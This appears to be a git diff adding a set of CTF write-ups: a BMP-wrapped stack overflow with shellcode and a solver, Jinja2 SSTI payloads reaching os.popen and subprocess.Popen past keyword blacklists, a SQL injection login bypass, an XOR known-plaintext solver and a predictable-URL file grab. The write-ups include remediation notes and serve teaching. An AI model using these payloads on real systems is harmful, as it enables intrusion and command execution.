scrambled = bytearray()
|
||||||
|
for i in range(len(raw_payload)):
|
||||||
|
scrambled.append(raw_payload[i] ^ (i % 256))
|
||||||
|
```
|
||||||
|
|
||||||
|
### Step 4: Wrapping in a BMP
|
||||||
|
We wrap our scrambled payload in a standard 24-bit BMP structure.
|
||||||
|
```python
|
||||||
|
# Magic 'BM' + Headers + Scrambled Data
|
||||||
|
bmp_header = struct.pack('<2sIHHI', b'BM', file_size, 0, 0, 54)
|
||||||
|
info_header = struct.pack('<IIIHHIIIIII', 40, width, 1, 1, 24, 0, 0, 0, 0, 0, 0)
|
||||||
|
final_file = bmp_header + info_header + scrambled
|
||||||
|
```
|
||||||
|
|
||||||
|
## The Final Solver
|
||||||
|
|
||||||
|
```python
|
||||||
|
import struct
|
||||||
|
|
||||||
|
# The specific "jmp rsp" gadget offset provided
|
||||||
|
GADGET_ADDR = 0x4018d6
|
||||||
|
|
||||||
|
def get_payload():
|
||||||
|
# 1. Shellcode: Execve /bin/sh -c "cat flag.txt"
|
||||||
|
# OPTIMIZED: Uses the byte count from read() to limit write()
|
||||||
|
shellcode = (
|
||||||
|
b"\x6a\x00\x48\xbb\x66\x6c\x61\x67\x2e\x74\x78\x74\x53" # push "flag.txt"
|
||||||
|
b"\x48\x89\xe7" # mov rdi, rsp (filename pointer)
|
||||||
|
b"\x31\xf6" # xor esi, esi (O_RDONLY)
|
||||||
|
b"\x6a\x02" # push 2 (sys_open)
|
||||||
|
b"\x58" # pop rax
|
||||||
|
b"\x0f\x05" # syscall (open)
|
||||||
|
|
||||||
|
b"\x48\x89\xc7" # mov rdi, rax (fd)
|
||||||
|
b"\x48\x89\xe6" # mov rsi, rsp (reuse stack as buffer)
|
||||||
|
b"\xba\x00\x01\x00\x00" # mov edx, 256 (max count)
|
||||||
|
b"\x6a\x00" # push 0 (sys_read)
|
||||||
|
b"\x58" # pop rax
|
||||||
|
b"\x0f\x05" # syscall (read)
|
||||||
|
|
||||||
|
# --- FIX STARTS HERE ---
|
||||||
|
# read() returns the actual number of bytes read in RAX.
|
||||||
|
# We move that value to RDX, so write() prints exactly that many bytes.
|
||||||
|
b"\x48\x89\xc2" # mov rdx, rax
|
||||||
|
# --- FIX ENDS HERE ---
|
||||||
|
|
||||||
|
b"\x6a\x01" # push 1 (stdout)
|
||||||
|
b"\x5f" # pop rdi
|
||||||
|
b"\x6a\x01" # push 1 (sys_write)
|
||||||
|
b"\x58" # pop rax
|
||||||
|
b"\x0f\x05" # syscall (write)
|
||||||
|
|
||||||
|
b"\x6a\x3c" # push 60 (sys_exit)
|
||||||
|
b"\x58" # pop rax
|
||||||
|
b"\x31\xff" # xor rdi, rdi (status 0)
|
||||||
|
b"\x0f\x05" # syscall (exit)
|
||||||
|
)
|
||||||
|
|
||||||
|
# 2. Construct Raw Payload Layout
|
||||||
|
# Buffer (3072) + Saved RBP (8) = 3080 bytes of padding
|
||||||
|
padding = b"A" * 3080
|
||||||
|
ret_addr = struct.pack("<Q", GADGET_ADDR)
|
||||||
|
|
||||||
|
# Combined raw payload
|
||||||
|
raw_payload = padding + ret_addr + shellcode
|
||||||
|
|
||||||
|
# 3. Apply XOR Scrambling
|
||||||
|
# The binary executes: process_buffer[idx] ^= (unsigned char)(idx % 256);
|
||||||
|
# We pre-XOR our payload so the server descrambles it back to valid shellcode.
|
||||||
|
scrambled_payload = bytearray()
|
||||||
|
for i in range(len(raw_payload)):
|
||||||
|
key = i % 256
|
||||||
|
scrambled_payload.append(raw_payload[i] ^ key)
|
||||||
|
|
||||||
|
return scrambled_payload
|
||||||
|
|
||||||
|
def generate_bmp(payload):
|
||||||
|
# BMP requires width * height * 3 bytes of data.
|
||||||
|
# Align payload to be divisible by 3.
|
||||||
|
while len(payload) % 3 != 0:
|
||||||
|
idx = len(payload)
|
||||||
|
payload.append(0 ^ (idx % 256))
|
||||||
|
|
||||||
|
# Calculate dimensions: Height = 1, Width = Len / 3
|
||||||
|
height = 1
|
||||||
|
width = len(payload) // 3
|
||||||
|
|
||||||
|
# Header size is 54 bytes
|
||||||
|
file_size = 54 + len(payload)
|
||||||
|
|
||||||
|
# Construct Headers (Little Endian)
|
||||||
|
# Magic 'BM' + FileSize + Reserved + Offset(54)
|
||||||
|
bmp_header = struct.pack('<2sIHHI', b'BM', file_size, 0, 0, 54)
|
||||||
|
|
||||||
|
# Info Header: Size(40) + W + H + Planes(1) + BitCount(24) + Compression(0)...
|
||||||
|
info_header = struct.pack('<IIIHHIIIIII', 40, width, height, 1, 24, 0, 0, 0, 0, 0, 0)
|
||||||
|
|
||||||
|
return bmp_header + info_header + payload
|
||||||
|
|
||||||
|
def main():
|
||||||
|
print(f"[*] Generating exploit for JMP RSP @ {hex(GADGET_ADDR)}...")
|
||||||
|
|
||||||
|
payload = get_payload()
|
||||||
|
bmp_file = generate_bmp(payload)
|
||||||
|
|
||||||
|
output_filename = "exploit.bmp"
|
||||||
|
with open(output_filename, "wb") as f:
|
||||||
|
f.write(bmp_file)
|
||||||
|
|
||||||
|
print(f"[+] Malicious bitmap saved to: {output_filename}")
|
||||||
|
print(f"[*] Total size: {len(bmp_file)} bytes")
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
|
```
|
||||||
|
|
||||||
|
Upload `exploit.bmp` to the Glitchify server and the flag will be glitched onto your screen!
|
||||||
|
|
||||||
|
Stay glitchy!
|
||||||
53
hidden_flag.md
Normal file
53
hidden_flag.md
Normal file
@@ -0,0 +1,53 @@
|
|||||||
|
# Hidden Flag
|
||||||
|
|
||||||
|
Welcome to the write-up for **Hidden Flag**. This is a "web" challenge that focuses on **Information Disclosure** and **Predictable Resource Location**.
|
||||||
|
|
||||||
|
In this challenge, we are tasked with finding and downloading a file named `flag.txt` that is hidden somewhere on the CTF platform.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Initial Reconnaissance
|
||||||
|
|
||||||
|
The challenge description gives us a very simple goal:
|
||||||
|
> "Can you download the hidden flag.txt file on this site?"
|
||||||
|
|
||||||
|
Unlike many other challenges, we aren't given a direct link or a source code archive. We are left to explore the CTF platform itself for clues on where files are stored.
|
||||||
|
|
||||||
|
## 2. Analyzing the Platform
|
||||||
|
|
||||||
|
When we look at other challenges on the platform (like **SmashMe**), we notice they provide downloadable files. If we inspect the download links for those challenges, we see a pattern in the URLs:
|
||||||
|
|
||||||
|
`https://ctf.hackimpott.de/files/1769295971401-smashMe_.tar.xz`
|
||||||
|
|
||||||
|
The platform seems to store all challenge-related files in a public directory located at `/files/`.
|
||||||
|
|
||||||
|
## 3. The Vulnerability: Predictable Resource Location
|
||||||
|
|
||||||
|
The vulnerability here is that the server stores sensitive files (like the flag) in the same directory as public assets, and that directory is directly accessible to users. While the other filenames might look random (e.g., `1769295971401-...`), we know from the description that the file we are looking for is called exactly `flag.txt`.
|
||||||
|
|
||||||
|
If the server doesn't have proper access controls on that directory, we can simply guess the URL to the file.
|
||||||
|
|
||||||
|
## 4. Exploitation
|
||||||
|
|
||||||
|
To solve the challenge, we take a known working file URL and replace the filename with our target:
|
||||||
|
|
||||||
|
1. **Original URL:** `https://ctf.hackimpott.de/files/1769295971401-smashMe_.tar.xz`
|
||||||
|
2. **Modified URL:** `https://ctf.hackimpott.de/files/flag.txt`
|
||||||
|
|
||||||
|
By navigating to the modified URL in our browser (or using `curl`), the server allows us to download the file, revealing its contents.
|
||||||
|
|
||||||
|
## 5. The Solution
|
||||||
|
|
||||||
|
Opening the downloaded `flag.txt` reveals the flag:
|
||||||
|
|
||||||
|
**Flag:** `{flag: well_done_little_pwnie_:)}`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Lessons Learned
|
||||||
|
|
||||||
|
This challenge demonstrates why it is important to properly secure static file directories.
|
||||||
|
* **Access Control:** Files that are not meant to be public should never be stored in a publicly accessible directory.
|
||||||
|
* **Obfuscation is not Security:** Even if you use long, random filenames for some files, it doesn't protect other files in the same directory if their names are predictable (like `flag.txt`, `config.php`, or `backup.zip`).
|
||||||
|
|
||||||
|
Happy Hunting!
|
||||||
108
render_me_this.md
Normal file
108
render_me_this.md
Normal file
@@ -0,0 +1,108 @@
|
|||||||
|
# Render Me This
|
||||||
|
|
||||||
|
Welcome to the write-up for **Render Me This**. This challenge falls under the "web" category and demonstrates a severe vulnerability found in modern web frameworks known as **Server-Side Template Injection (SSTI)**.
|
||||||
|
|
||||||
|
We are presented with a "Profile Viewer" application that takes a user's name and renders a custom greeting. Our goal is to exploit the rendering engine to read the flag from the server.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Initial Reconnaissance
|
||||||
|
|
||||||
|
The challenge provides us with a URL and the source code. When we visit the site, we see a simple page greeting "Guest".
|
||||||
|
|
||||||
|
The URL likely looks like this:
|
||||||
|
`http://challenge-url/?name=Guest`
|
||||||
|
|
||||||
|
If we change the `name` parameter to `Test`, the page updates to say "Hello, Test!". This confirms that our input is being reflected on the page.
|
||||||
|
|
||||||
|
## 2. Source Code Analysis
|
||||||
|
|
||||||
|
Let's examine the provided `app.py` to understand how the page is generated.
|
||||||
|
|
||||||
|
```python
|
||||||
|
@app.route('/')
|
||||||
|
def index():
|
||||||
|
# Get the 'name' parameter
|
||||||
|
name = request.args.get('name', 'Guest')
|
||||||
|
|
||||||
|
# 1. Check for Blacklisted words
|
||||||
|
for bad_word in BLACKLIST:
|
||||||
|
if bad_word in name.lower():
|
||||||
|
return "Hacker detected! ..."
|
||||||
|
|
||||||
|
# 2. Vulnerable Template Construction
|
||||||
|
template = f'''
|
||||||
|
...
|
||||||
|
<h1>Hello, {name}!</h1>
|
||||||
|
...
|
||||||
|
'''
|
||||||
|
|
||||||
|
# Render the template
|
||||||
|
return render_template_string(template)
|
||||||
|
```
|
||||||
|
|
||||||
|
### The Vulnerability: SSTI
|
||||||
|
The critical flaw is in how the `template` string is constructed. The developer uses a Python f-string (`f'''... {name} ...'''`) to insert the user's input *directly into the template source code* before passing it to `render_template_string`.
|
||||||
|
|
||||||
|
In Flask (Jinja2), `{{ ... }}` is used to execute code within a template. By injecting `{{ 7*7 }}`, we can ask the server to calculate 7*7. If the page displays "49", we have code execution.
|
||||||
|
|
||||||
|
### The Obstacle: The Blacklist
|
||||||
|
The application attempts to secure itself with a blacklist:
|
||||||
|
`BLACKLIST = ["config", "self", "flag"]`
|
||||||
|
|
||||||
|
This means we cannot use the standard SSTI payloads like `{{ config }}` or `{{ self.__dict__ }}`. We also cannot simply run `cat flag.txt` because the word "flag" is forbidden.
|
||||||
|
|
||||||
|
## 3. Developing the Exploit
|
||||||
|
|
||||||
|
We need to find a way to access the Python `os` module to run system commands, without using the blacklisted words.
|
||||||
|
|
||||||
|
In Python web frameworks like Flask, the `request` object is often available in the template context. Through `request`, we can traverse the Python object hierarchy to reach the global scope and import modules.
|
||||||
|
|
||||||
|
**Step 1: Accessing Built-ins**
|
||||||
|
We can use the `request` object to access the global scope:
|
||||||
|
`request.application.__globals__`
|
||||||
|
|
||||||
|
From there, we can access Python's built-in functions:
|
||||||
|
`request.application.__globals__.__builtins__`
|
||||||
|
|
||||||
|
**Step 2: Importing OS**
|
||||||
|
Now we can use the `__import__` function to load the `os` module:
|
||||||
|
`request.application.__globals__.__builtins__.__import__('os')`
|
||||||
|
|
||||||
|
**Step 3: Executing Commands**
|
||||||
|
With the `os` module, we can use `popen` to execute shell commands and `read` to get the output:
|
||||||
|
`.popen('ls').read()`
|
||||||
|
|
||||||
|
**Step 4: Bypassing the "flag" Filter**
|
||||||
|
If we try to run `cat flag.txt`, the application will block us because it contains "flag".
|
||||||
|
We can bypass this using shell wildcards. instead of `flag.txt`, we can say `fl*`.
|
||||||
|
`cat fl*` matches `flag.txt` but doesn't contain the forbidden string "flag".
|
||||||
|
|
||||||
|
## 4. The Final Payload
|
||||||
|
|
||||||
|
Putting it all together, our payload looks like this:
|
||||||
|
|
||||||
|
`{{ request.application.__globals__.__builtins__.__import__('os').popen('cat fl*').read() }}`
|
||||||
|
|
||||||
|
We need to URL-encode this payload before sending it to the server.
|
||||||
|
|
||||||
|
**Encoded URL:**
|
||||||
|
`?name=%7B%7B%20request.application.__globals__.__builtins__.__import__(%27os%27).popen(%27cat%20fl*%27).read()%20%7D%7D`
|
||||||
|
|
||||||
|
## 5. The Solution
|
||||||
|
|
||||||
|
Sending the payload to the server executes the command, reads the flag file, and renders the result on the page.
|
||||||
|
|
||||||
|
**Flag:** `{flag:SSTI_Is_Pow3rful_Even_With_Basic_Filters}`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Lessons Learned
|
||||||
|
|
||||||
|
* **Context Matters:** Never concatenate user input directly into a template string.
|
||||||
|
* **Use the Framework Correctly:** Always pass data as context variables to the render function.
|
||||||
|
* *Vulnerable:* `render_template_string(f"Hello {name}")`
|
||||||
|
* *Secure:* `render_template_string("Hello {{ name }}", name=user_input)`
|
||||||
|
* **Blacklists Fail:** trying to block specific words ("flag", "config") is rarely effective. Hackers can almost always find a way around them (e.g., string concatenation, encoding, wildcards).
|
||||||
|
|
||||||
|
Happy Hacking!
|
||||||
108
render_me_this_one_more_time.md
Normal file
108
render_me_this_one_more_time.md
Normal file
@@ -0,0 +1,108 @@
|
|||||||
|
# Render Me This (One More Time)
|
||||||
|
|
||||||
|
Welcome to the write-up for **Render Me This (One More Time)**. This is the sequel to the previous SSTI challenge, featuring "improved" security filters.
|
||||||
|
|
||||||
|
We are once again tasked with exploiting a **Server-Side Template Injection (SSTI)** vulnerability to read the flag, but this time we must bypass a strict blacklist that blocks most standard attack vectors.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Initial Reconnaissance
|
||||||
|
|
||||||
|
The challenge is identical to the previous one, but with a new description:
|
||||||
|
> "We upgraded our security filters. We realized that letting people import stuff was a bad idea, so we banned all the dangerous keywords."
|
||||||
|
|
||||||
|
This implies that our previous payload (which used `import`, `os`, and `popen`) will be blocked.
|
||||||
|
|
||||||
|
## 2. Source Code Analysis
|
||||||
|
|
||||||
|
Let's examine the new `app.py` to see the restrictions:
|
||||||
|
|
||||||
|
```python
|
||||||
|
BLACKLIST = [
|
||||||
|
"import", "os", "system", "popen", "flag", "config", "eval", "exec",
|
||||||
|
"request", "url_for", "self", "g", "process",
|
||||||
|
"+", "~", "%", "format", "join", "chr", "ascii"
|
||||||
|
]
|
||||||
|
```
|
||||||
|
|
||||||
|
This is a **heavy** blacklist.
|
||||||
|
* **No Global Objects:** We cannot use `request`, `url_for`, or `self` to access the global scope (`__globals__`).
|
||||||
|
* **No String Construction:** We cannot use `+` or `join` to bypass keyword filters (e.g., `'o'+'s'` is blocked).
|
||||||
|
* **No Formatting:** We cannot use string formatting tricks.
|
||||||
|
|
||||||
|
This forces us to find a way to execute code using only the objects already available in the template context (like strings `""` or lists `[]`) and traversing their inheritance hierarchy.
|
||||||
|
|
||||||
|
## 3. The Vulnerability: MRO Traversal
|
||||||
|
|
||||||
|
In Python, every object has a method resolution order (MRO) that defines the class hierarchy. We can use this to our advantage to access powerful classes without needing to import anything.
|
||||||
|
|
||||||
|
### Step 1: Accessing the Base Object
|
||||||
|
We start with a simple empty list `[]`. In Python, `[]` is an instance of the `list` class.
|
||||||
|
`{{ [].__class__ }}` --> `<class 'list'>`
|
||||||
|
|
||||||
|
From the `list` class, we can go up one level to its parent class, which is `object`.
|
||||||
|
`{{ [].__class__.__base__ }}` --> `<class 'object'>`
|
||||||
|
|
||||||
|
### Step 2: Listing All Subclasses
|
||||||
|
The `object` class is the root of all classes in Python. Crucially, it has a method called `__subclasses__()` that returns a list of **every single class** currently loaded in the application.
|
||||||
|
|
||||||
|
`{{ [].__class__.__base__.__subclasses__() }}`
|
||||||
|
|
||||||
|
If you inject this payload into the URL (`?name={{[].__class__.__base__.__subclasses__()}}`), the page will display a massive list of classes like:
|
||||||
|
`[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, ... <class 'subprocess.Popen'>, ...]`
|
||||||
|
|
||||||
|
### Step 3: Finding `subprocess.Popen`
|
||||||
|
We need to find the index of the `subprocess.Popen` class in this list. This class allows us to spawn new processes and execute system commands.
|
||||||
|
|
||||||
|
You can copy the output from the webpage into a text editor and search for "subprocess.Popen". Alternatively, you can write a small script to find the index locally (if you have the same environment).
|
||||||
|
In this specific challenge environment, `subprocess.Popen` is located at index **361**.
|
||||||
|
|
||||||
|
(Note: If 361 doesn't work, you might need to try surrounding numbers like 360 or 362, as the index can vary slightly depending on the Python version and installed libraries).
|
||||||
|
|
||||||
|
### Step 4: Instantiating Popen
|
||||||
|
Now that we have the class (at index 361), we can instantiate it just like calling a function. We want to execute a shell command.
|
||||||
|
|
||||||
|
The `Popen` constructor takes a command as a list or string. We also need to set `shell=True` to run shell commands and `stdout=-1` to capture the output.
|
||||||
|
|
||||||
|
`...[361]('command', shell=True, stdout=-1)`
|
||||||
|
|
||||||
|
### Step 5: Bypassing the "flag" Filter
|
||||||
|
We want to run `cat flag.txt`. However, the word "flag" is in the `BLACKLIST`.
|
||||||
|
We can easily bypass this using a shell wildcard: `cat fl*`.
|
||||||
|
The shell will expand `fl*` to `flag.txt` automatically.
|
||||||
|
|
||||||
|
So our command is: `'cat fl*'`
|
||||||
|
|
||||||
|
### Step 6: Reading the Output
|
||||||
|
The `Popen` object creates a process, but it doesn't return the output directly. We need to call the `.communicate()` method on the created process object. This method waits for the command to finish and returns a tuple containing `(stdout, stderr)`.
|
||||||
|
|
||||||
|
## 4. The Final Payload
|
||||||
|
|
||||||
|
Putting it all together, we construct the full injection:
|
||||||
|
|
||||||
|
1. Start with a list: `[]`
|
||||||
|
2. Get the `object` class: `.__class__.__base__`
|
||||||
|
3. Get all subclasses: `.__subclasses__()`
|
||||||
|
4. Select `subprocess.Popen`: `[361]`
|
||||||
|
5. Instantiate with command: `('cat fl*', shell=True, stdout=-1)`
|
||||||
|
6. Get output: `.communicate()`
|
||||||
|
|
||||||
|
**Final Payload:**
|
||||||
|
`{{ [].__class__.__base__.__subclasses__()[361]('cat fl*', shell=True, stdout=-1).communicate() }}`
|
||||||
|
|
||||||
|
**Encoded URL:**
|
||||||
|
`?name={{[].__class__.__base__.__subclasses__()[361]('cat%20fl*',shell=True,stdout=-1).communicate()}}`
|
||||||
|
|
||||||
|
## 5. The Solution
|
||||||
|
|
||||||
|
Submit the encoded URL to the server. The page will render the output of the command, revealing the flag.
|
||||||
|
|
||||||
|
**Flag:** `{flag:MRO_Trav3rsal_Is_The_Way_To_Go}`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Lessons Learned
|
||||||
|
|
||||||
|
* **Blacklisting is Futile:** Even with strict filters blocking global objects and string manipulation, the fundamental nature of Python's object model allows for code execution via MRO traversal.
|
||||||
|
* **Sandboxing is Hard:** If you must allow user-submitted code/templates, you need a robust sandbox (like removing `__subclasses__` or using a secure template engine like Jinja2's `SandboxedEnvironment`), not just a word filter.
|
||||||
|
* **Least Privilege:** Ensure the web application runs with minimal permissions so that even if code execution is achieved, the damage is limited.
|
||||||
102
reversible_logic.md
Normal file
102
reversible_logic.md
Normal file
@@ -0,0 +1,102 @@
|
|||||||
|
# Reversible Logic
|
||||||
|
|
||||||
|
`Reversible Logic` is a cryptography challenge based on the properties of the XOR operation. We are provided with a service that encrypts our input using a hidden flag as the key.
|
||||||
|
|
||||||
|
## Information Gathering
|
||||||
|
|
||||||
|
We connect to the challenge service and are greeted with a prompt:
|
||||||
|
|
||||||
|
```
|
||||||
|
--- Secure XOR Encryption Service ---
|
||||||
|
Enter a message to encrypt:
|
||||||
|
```
|
||||||
|
|
||||||
|
The description states: "This program implements a simple XOR cipher using a hidden flag as the key."
|
||||||
|
|
||||||
|
Let's test it by sending a simple input, like "AAAA":
|
||||||
|
|
||||||
|
```
|
||||||
|
Enter a message to encrypt: AAAA
|
||||||
|
|
||||||
|
Encrypted Result (Hex): 3a272d20
|
||||||
|
```
|
||||||
|
|
||||||
|
## Vulnerability Analysis
|
||||||
|
|
||||||
|
The service implements a standard XOR cipher where:
|
||||||
|
$$Ciphertext = Plaintext \oplus Key$$
|
||||||
|
|
||||||
|
We control the **Plaintext** (our input) and we receive the **Ciphertext** (the hex output). The **Key** is the hidden flag we want to recover.
|
||||||
|
|
||||||
|
A fundamental property of the XOR operation is that it is its own inverse (reversible):
|
||||||
|
$$A \oplus B = C \implies C \oplus B = A$$
|
||||||
|
|
||||||
|
Therefore, we can recover the Key by XORing the Ciphertext with our Known Plaintext:
|
||||||
|
$$Key = Ciphertext \oplus Plaintext$$
|
||||||
|
|
||||||
|
To recover the full flag, we just need to send a plaintext that is at least as long as the flag. Since we don't know the exact length, sending a long string (e.g., 100 characters) ensures we cover it entirely.
|
||||||
|
|
||||||
|
## Solution
|
||||||
|
|
||||||
|
We can automate this process with a Python script:
|
||||||
|
1. Connect to the server.
|
||||||
|
2. Send a long string of known characters (e.g., 100 'A's).
|
||||||
|
3. Receive the hex-encoded ciphertext.
|
||||||
|
4. Decode the hex and XOR it with our string of 'A's to reveal the flag.
|
||||||
|
|
||||||
|
### Solver Script
|
||||||
|
|
||||||
|
```python
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
# Set the log level so we can see the "Opening connection" messages
|
||||||
|
context.log_level = 'info'
|
||||||
|
|
||||||
|
def main():
|
||||||
|
# 1. Connect to the challenge instance
|
||||||
|
# (Matches the IP/Port from your previous message)
|
||||||
|
io = remote('127.0.0.1', 1315)
|
||||||
|
|
||||||
|
# 2. Handle the server prompts
|
||||||
|
# We read until the server asks for input
|
||||||
|
io.recvuntil(b"Enter a message to encrypt: ")
|
||||||
|
|
||||||
|
# 3. Send our "Known Plaintext"
|
||||||
|
# We send a long string of 'A's (0x41) to ensure we capture the full flag.
|
||||||
|
# If the flag is longer than 100 chars, just increase this number.
|
||||||
|
plaintext = b"A" * 100
|
||||||
|
io.sendline(plaintext)
|
||||||
|
|
||||||
|
# 4. Receive the response
|
||||||
|
io.recvuntil(b"Encrypted Result (Hex): ")
|
||||||
|
|
||||||
|
# Read the hex string line and strip whitespace/newlines
|
||||||
|
hex_output = io.recvline().strip().decode()
|
||||||
|
|
||||||
|
log.info(f"Received Hex Ciphertext: {hex_output}")
|
||||||
|
|
||||||
|
# 5. Decode the Hex
|
||||||
|
cipher_bytes = bytes.fromhex(hex_output)
|
||||||
|
|
||||||
|
# 6. XOR to recover the key
|
||||||
|
# pwntools has a built-in xor() function that is very robust.
|
||||||
|
# Logic: Key = Cipher ^ Plaintext
|
||||||
|
recovered_key = xor(cipher_bytes, plaintext)
|
||||||
|
|
||||||
|
# 7. Output the Flag
|
||||||
|
# We use 'errors=ignore' just in case of weird bytes,
|
||||||
|
# but for a text flag it should be clean.
|
||||||
|
log.success(f"Recovered Flag: {recovered_key.decode('utf-8', errors='ignore')}")
|
||||||
|
|
||||||
|
io.close()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
|
```
|
||||||
|
|
||||||
|
### Execution
|
||||||
|
|
||||||
|
Running the logic manually or via script reveals the flag.
|
||||||
|
`{flag: xor_logic_is_reversible_123}`
|
||||||
|
|
||||||
|
```
|
||||||
111
selective_security.md
Normal file
111
selective_security.md
Normal file
@@ -0,0 +1,111 @@
|
|||||||
|
# Selective Security
|
||||||
|
|
||||||
|
Welcome to the write-up for **Selective Security**. This is an introductory "web" (Web Exploitation) challenge that demonstrates one of the most critical and pervasive vulnerabilities in web application history: **SQL Injection (SQLi)**.
|
||||||
|
|
||||||
|
In this challenge, we are presented with a seemingly secure login portal that separates "standard" users from "administrators." Our mission is to bypass the authentication mechanism and gain access to the restricted Admin Dashboard to retrieve the flag.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Initial Reconnaissance
|
||||||
|
|
||||||
|
The challenge provides us with a link to an "Internal Blog Portal" and a downloadable archive: `selective_security.tar.xz`.
|
||||||
|
|
||||||
|
When we visit the portal, we are greeted by a login form. We can try logging in with random credentials (e.g., `guest`/`guest`), which grants us access as a "Standard User." We see a basic blog feed, but no flag. The challenge description tells us that the "actual administrative features are protected by a strict database verification check." To get the flag, we need to log in as the **admin** user.
|
||||||
|
|
||||||
|
## 2. Source Code Analysis
|
||||||
|
|
||||||
|
Since we are given the source code in `selective_security.tar.xz`, we can see exactly how the server handles our login attempt. After extracting the archive, we find a single file: `main.go`.
|
||||||
|
|
||||||
|
Looking at the `loginHandler` function, we see how the application distinguishes between users:
|
||||||
|
|
||||||
|
```go
|
||||||
|
func loginHandler(w http.ResponseWriter, r *http.Request) {
|
||||||
|
// ...
|
||||||
|
username := r.FormValue("username")
|
||||||
|
password := r.FormValue("password")
|
||||||
|
|
||||||
|
if username == "admin" {
|
||||||
|
handleAdminLogin(w, password)
|
||||||
|
} else {
|
||||||
|
// Standard users get the fakeUserTmpl (no flag)
|
||||||
|
data := map[string]string{"Username": username}
|
||||||
|
renderTemplate(w, fakeUserTmpl, data)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
If we provide the username `admin`, the application calls `handleAdminLogin`. This is where the "strict database verification" happens:
|
||||||
|
|
||||||
|
```go
|
||||||
|
func handleAdminLogin(w http.ResponseWriter, password string) {
|
||||||
|
// Build query
|
||||||
|
query := fmt.Sprintf("SELECT id FROM users WHERE username = 'admin' AND password = '%s'", password)
|
||||||
|
log.Println("Executing Query:", query)
|
||||||
|
|
||||||
|
var id int
|
||||||
|
err := db.QueryRow(query).Scan(&id)
|
||||||
|
|
||||||
|
if err == nil {
|
||||||
|
// SUCCESS: The database found a matching record!
|
||||||
|
data := map[string]string{"Flag": globalFlag}
|
||||||
|
renderTemplate(w, successTmpl, data)
|
||||||
|
} else {
|
||||||
|
// ... handle error ...
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## 3. The Vulnerability: SQL Injection
|
||||||
|
|
||||||
|
The vulnerability lies in how the SQL query is constructed. The application uses `fmt.Sprintf` to insert our `password` directly into the query string:
|
||||||
|
|
||||||
|
`"SELECT id FROM users WHERE username = 'admin' AND password = '%s'"`
|
||||||
|
|
||||||
|
This is a classic **SQL Injection** vulnerability. Because the application does not use **parameterized queries** (placeholders like `?`), it treats our input as part of the SQL command itself rather than just data.
|
||||||
|
|
||||||
|
## 4. Developing the Exploit
|
||||||
|
|
||||||
|
We don't know the admin's password, but we can use SQL syntax to change the logic of the `WHERE` clause. Our goal is to make the entire condition evaluate to **TRUE**, so the database returns a result.
|
||||||
|
|
||||||
|
If we enter the following payload as the password:
|
||||||
|
`' OR '1'='1`
|
||||||
|
|
||||||
|
The final query executed by the database becomes:
|
||||||
|
```sql
|
||||||
|
SELECT id FROM users WHERE username = 'admin' AND password = '' OR '1'='1'
|
||||||
|
```
|
||||||
|
|
||||||
|
### Breaking down the logic:
|
||||||
|
1. `username = 'admin' AND password = ''`: This part is evaluated first (due to operator precedence) and is likely **False**.
|
||||||
|
2. `OR '1'='1'`: This part is always **True**.
|
||||||
|
3. `False OR True` results in **True**.
|
||||||
|
|
||||||
|
The database ignores the incorrect password check and returns the admin's ID. The Go code sees that a row was returned (`err == nil`) and grants us access to the dashboard.
|
||||||
|
|
||||||
|
## 5. Exploitation
|
||||||
|
|
||||||
|
1. Navigate to the login page.
|
||||||
|
2. Enter Username: `admin`
|
||||||
|
3. Enter Password: `' OR '1'='1`
|
||||||
|
4. Click **Login**.
|
||||||
|
|
||||||
|
The "Administrator Access Granted" page appears, displaying the flag.
|
||||||
|
|
||||||
|
**Flag:** `{flag:Sql_Inj3ct10n_Is_Ez_Pz_Read_From_File}`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Lessons Learned
|
||||||
|
|
||||||
|
This challenge highlights why you should **never** trust user input when building database queries. Even a single vulnerability like this can give an attacker full access to sensitive data or administrative accounts.
|
||||||
|
|
||||||
|
To prevent this, always use **parameterized queries** (also known as prepared statements). In Go, the secure way to write this query would be:
|
||||||
|
|
||||||
|
```go
|
||||||
|
// SECURE VERSION
|
||||||
|
db.QueryRow("SELECT id FROM users WHERE username = 'admin' AND password = ?", password)
|
||||||
|
```
|
||||||
|
|
||||||
|
By using the `?` placeholder, the database driver ensures that the input is treated strictly as a string, making it impossible for the user to "break out" and inject SQL commands.
|
||||||
|
|
||||||
|
Happy Hacking!
|
||||||
152
shared_state_of_mind.md
Normal file
152
shared_state_of_mind.md
Normal file
@@ -0,0 +1,152 @@
|
|||||||
|
# Shared State of Mind
|
||||||
|
|
||||||
|
Welcome to the write-up for **Shared State of Mind**. This challenge is a "web" challenge that dives into the dangerous waters of concurrency in Go. It demonstrates why global state in a concurrent environment (like a web server) is a recipe for disaster.
|
||||||
|
|
||||||
|
We are presented with a "High-Performance File Viewer" that claims to have stripped out "bloatware" like mutex locks. Our goal is to read the `flag.txt` file, which is protected by a security check.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Initial Reconnaissance
|
||||||
|
|
||||||
|
The challenge provides a URL and a downloadable archive `shared_state_of_mind.tar.xz`.
|
||||||
|
Connecting to the URL gives us a file viewer interface (or API). We can request files using `?file=...`.
|
||||||
|
|
||||||
|
If we try `?file=worker.go`, we get the source code.
|
||||||
|
If we try `?file=flag.txt`, we get:
|
||||||
|
`Security Check Failed: Forbidden`
|
||||||
|
|
||||||
|
## 2. Source Code Analysis
|
||||||
|
|
||||||
|
The archive contains two key Go files: `gateway.go` and `worker.go`.
|
||||||
|
|
||||||
|
**`gateway.go`**:
|
||||||
|
This acts as a load balancer/proxy. It assigns each user a unique session and spawns a dedicated `./worker` process for that user. This means our requests are going to a specific instance of the worker application that is assigned just to us.
|
||||||
|
